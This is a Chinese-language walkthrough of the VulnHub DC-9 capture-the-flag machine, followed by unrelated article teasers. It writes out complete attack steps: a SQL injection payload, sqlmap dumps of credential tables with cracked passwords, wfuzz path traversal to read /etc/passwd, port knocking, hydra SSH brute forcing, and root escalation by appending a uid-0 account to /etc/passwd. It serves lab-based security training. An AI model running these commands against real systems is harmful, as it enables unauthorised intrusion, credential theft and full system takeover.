vulnhub靶机: DC-9

dc-9靶机下载

将靶机设置为NAT模式,本次实验使用的内网网段为192.168.198.0/24,kali的ip为192.168.198.172

信息搜集

ip主机扫描:

nmap -sP 192.168.198.0/24

 

 确定靶机ip为192.168.198.171

主机端口扫描:

nmap -T4 -A -v 192.168.198.171

开放了 http 服务和 ssh 服务,从网站入手。

sql注入

在网页Search选项中尝试手动sql注入:

' or 1=1 --+

返回了所有结果,说明存在注入点。

开发者模式打开网络确定访问文件为results.php,使用POST请求,字段为search: "value"

 

使用sqlmap查找数据库:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" --dbs

下面分别提取 Staff 和 users 数据库数据。

Staff 数据库

查看表单:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff --tables

获取StaffDetails 数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff -T StaffDetails --dump

发现该表信息为网站record信息,用处不大。

获取Users 数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff -T Users --dump

在sqlmap提示中发现hash加密,选择使用hash爆破,如果sqlmap爆破不出来就使用开源的md5解密。

得到一个用户密码:admin:transorbital1

users 数据库

提取表单:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D users --tables

找到一个表单,继续获取全部数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D users -T UserDetails --dump

得到一些用户和密码,这里先将用户信息和密码信息整理成users字典和passwd字典,后续ssh登录会用到,sqlmap会把信息保存到.csv文件中,根据提示进入保存的日志目录,写一个脚本提取列username和password,分别存在users和passwd中:

import csv
pth = 'UserDetails.csv'
with open(pth, mode='r') as f:
    a = csv.DictReader(f)
    with open('users', mode='w') as users_file, open('passwd', mode='w') as passwords_file:
        for row in a:
            users_file.write(row['username'] + '\n')
            passwords_file.write(row['password'] + '\n')

文件包含

下面尝试在网站Manage入口登录,利用Staff数据库中Users得到的账号密码登录,可以成功进入管理界面。

显示有 File does not exist 说明可能和文件包含有关,尝试用wfuzz测试文件参数,直接访问/etc/passwd,因为是登录状态,需要填上请求cookie

查看cookie

 

wfuzz -b 'PHPSESSID=kvj3gqn4qi7o9liajb68cktu6u' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.198.171/manage.php?FUZZ=../../../../../../../etc/passwd

根据结果再用 --hl 50 过滤:

 找到请求参数是file,直接访问:

成功显示出来了操作系统/etc/passwd信息,发现和数据库users中一致,说明数据库中的信息可以用来登录操作系统。

ssh 登录

利用 users 数据库得到的两个字典目录,直接尝试ssh连接会报拒绝连接:

猜测可能使用了port knocking,在网页中尝试访问 knockd.conf 端口配置文件:

根据配置结果,按照7469,8475,9842顺序敲击端口:

for x in 7469 8475 9842 22 ;do nmap -p $x 192.168.198.171 ; done

再次使用ssh连接:

hydra -L users -P passwd 192.168.198.171 ssh

找到了三个用户和密码。

对于三个用户,分别用ssh登录

ssh chandlerb@192.168.198.171
ssh joeyt@192.168.198.171
ssh janitor@192.168.198.171

分别用 ls -a 查看文件,发现janitor用户下有.secrets-for-putin文件,进入后拿到新密码:

把新的密码copy到一个新的字典passwd2中,用户名不变,用hydra再次爆破:

找到一个新用户:fredf

对每一个用户登录后,再使用 sudo -l 查看是否有高权限可执行程序,发现 fredf 用户有一个root权限执行程序。

执行文件:

根据提示可以判断出是读取和追加功能的python文件。

提权

提权思路:利用test创建一个root用户,追加到/etc/passwd中,再利用创建的用户登录实现提权。

分析/etc/passwd 的格式:

用户名:密码:uid:gid:用户描述:home路径:命令解释程序

生成用户名密码:

openssl passwd -1 -salt admin 123456

生成结果:

$1$admin$LClYcRe.ee8dQwgrFc5nz.

写入的格式:

admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash

把内容先写入tmp目录中,因为tmp目录不受用户权限限制,再利用test脚本写入/etc/passwd

 

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/new
sudo ./test /tmp/new /etc/passwd

成功写入后切换到admin用户

在root下找到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519965.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

进程并发究竟是如何进行进程切换的?Linux内核原理解析

进程并发究竟是如何进行进程切换的?Linux内核原理解析 一、并发二、进程切换原理三、活跃进程、过期进程3.1分时操作系统、实时操作系统3.2 运行队列queue[140]3. 3 操作系统如何查找非空进程 一、并发 在一定时间内,多个进程在一个CPU中采用进程切换的方…

Memcached 教程之 PHP 连接 Memcached 服务(十)

PHP 连接 Memcached 服务 在前面章节中我们已经介绍了如何安装 Memcached 服务,接下来我们为大家介绍 PHP 如何使用 Memcached 服务。 PHP Memcache 扩展安装 PHP Memcache 扩展包下载地址:PECL :: Package :: memcache,你可以下载最新稳定…

商业开源MES+源码+可拖拽式数据大屏

商业开源的一套超有价值的JAVA制造执行MES系统源码 带本地部署搭建教程 教你如何在本地运行运行起来。 开发环境:jdk11tomcatmysql8springbootmaven 需要源码,私信我付费获取。 一、系统概述: 万界星空科技免费试用MES、开源MES、商业开…

OpenGL_Learn19(混合)

OpenGL中,混合(Blending)通常是实现物体透明度(Transparency)的一种技术。透明就是说一个物体(或者其中的一部分)不是纯色(Solid Color)的,它的颜色是物体本身的颜色和它背后其它物体的颜色的不同强度结合。一个有色玻璃窗是一个透…

java算法day45 | 动态规划part07 ● 70. 爬楼梯 (进阶) ● 322. 零钱兑换 ● 279.完全平方数

70. 爬楼梯 &#xff08;进阶&#xff09; 题目描述&#xff1a; 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬至多m (1 < m < n)个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 注意&#xff1a;给定 n 是一个正整数。 输入描述&#xff1a;输入…

【JavaSE】注解

概念解释 注解与注释 注释&#xff1a;用文字描述程序的,是给程序员看的。 注解&#xff1a;用来解释说明程序的&#xff0c;是给计算机看的。 百度百科定义&#xff1a; 注解&#xff08;Annotation&#xff09;&#xff0c;也叫元数据。一种代码级别的说明。它是JDK1.5及…

FPGA常用IP核之FIFO学习

IP核是FPGA芯片公司提供的逻辑功能块&#xff0c;在FPGA芯片中可以进行优化和预先配置&#xff0c;可以直接在用户设计的程序中使用&#xff0c;应用范围很广。在FPGA设计开发过程中使用IP核&#xff0c;可以大大的缩短开发周期&#xff0c;高度优化的IP核可以使FPG开发工程师专…

8核32G云服务器幻兽帕鲁多人联机主机价格94元/月、1362元一年

8核32G云服务器京东云轻量云主机价格94元1个月、282元3个月、673元6个月、1362元一年&#xff0c;配置8C32G-100G SSD系统盘-10M带宽-2000G月流量 华北-北京&#xff0c;京东云优惠活动 yunfuwuqiba.com/go/jd 活动链接打开如下图&#xff1a; 8核32G云服务器京东云轻量云主机价…

损失函数篇 | YOLOv8更换损失函数之MPDIoU(23年7月首发论文)

前言:Hello大家好,我是小哥谈。损失函数是机器学习中用来衡量模型预测值与真实值之间差异的函数。在训练模型时,我们希望通过不断调整模型参数,使得损失函数的值最小化,从而使得模型的预测值更加接近真实值。不同的损失函数适用于不同的问题,例如均方误差损失函数适用于回…

Codeforces Round 931 (Div. 2) D1. XOR Break — Solo Version

题目 思路&#xff1a; #include <bits/stdc.h> using namespace std; #define int long long #define pb push_back #define fi first #define se second #define lson p << 1 #define rson p << 1 | 1 const int maxn 1e6 5, inf 1e18, maxm 4e4 5; c…

机器学习综述:核心概念、方法与未来展望

一、机器学习基础 基本概念 机器学习是一门专注于开发算法来从数据中学习模式的科学。它基于这样一个假设&#xff1a;如果一个程序可以在某任务T上&#xff0c;基于经验E改善它的性能P&#xff0c;那么我们说这个程序在从经验中学习。这里的“经验”可以理解为历史数据或先前…

腾讯云服务器优惠活动价格表_CPU内存带宽报价明细

2024年最新腾讯云服务器租用优惠价格表&#xff1a;轻量应用服务器2核2G3M价格62元一年、2核2G4M价格118元一年&#xff0c;540元三年、2核4G5M带宽218元一年&#xff0c;2核4G5M带宽756元三年、轻量4核8G12M服务器646元15个月&#xff1b;轻量4核16G12M带宽32元1个月、96元3个…

基于python爬虫与数据分析系统设计

**单片机设计介绍&#xff0c;基于python爬虫与数据分析系统设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于Python爬虫与数据分析系统的设计是一个结合了网络数据抓取、清洗、存储和数据分析的综合项目。这样的系统通常…

【网站项目】三省学堂-学习辅助系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

Win10 下 Vision Mamba(Vim-main)的环境配置(libcuda.so文件无法找到,windows系统运行失败)

目录 1、下载NVIDIA 驱动程序、cuda11.8、cudnn8.6.0 2、在Anaconda中创建环境并激活 3、下载gpu版本的torch 4、配置环境所需要的包 5、安装causal_conv1d和mamba-1p1p1 安装causal_conv1d 安装mamba-1p1p1 6、运行main.py失败 请直接拉到最后查看运行失败的原因&am…

【C++】vector模拟实现

目录 简介&#xff1a;私有成员&#xff1a;迭代器&#xff1a; 无参构造函数&#xff1a;push_back&#xff1a;reserve&#xff1a;resize:push_back: operator[]重载&#xff1a;begin && end:size && capacity:insert&#xff1a;erase&#xff1a;带参构造…

PyQt ui2py 使用PowerShell将ui文件转为py文件并且将导入模块PyQt或PySide转换为qtpy模块开箱即用

前言 由于需要使用不同的qt环境&#xff08;PySide&#xff0c;PyQt&#xff09;所以写了这个脚本&#xff0c;使用找到的随便一个uic命令去转换ui文件&#xff0c;然后将导入模块换成qtpy这个通用库(支持pyside2-6&#xff0c;pyqt5-6)&#xff0c;老版本的是Qt.py(支持pysid…

论文阅读——Sat2Vid

Sat2Vid: Street-view Panoramic Video Synthesis from a Single Satellite Image 提出了一种新颖的方法&#xff0c;用于从单个卫星图像和摄像机轨迹合成时间和几何一致的街景全景视频。 即根据单个卫星图像和给定的观看位置尽可能真实地、尽可能一致地合成街景全景视频序列。…

Python+Django+Html河道垃圾识别网页系统

程序示例精选 PythonDjangoHtml河道垃圾识别网页系统 如需安装运行环境或远程调试&#xff0c;见文章底部个人QQ名片&#xff0c;由专业技术人员远程协助&#xff01; 前言 这篇博客针对《PythonDjangoHtml河道垃圾识别网页系统》编写代码&#xff0c;代码整洁&#xff0c;规…

如何编写属于自己的第一个exp

0x00 前言 在我们找到一个漏洞之后&#xff0c;可能会想着去fofa上搜语法进而扩大战果&#xff0c;而有些漏洞利用起来十分繁琐&#xff0c;这时候就需要一个exp来批量帮我们进行扫描工作&#xff0c;接下来就介绍一下如何进行exp的编写&#xff0c;这个过程中最重要的还是体现…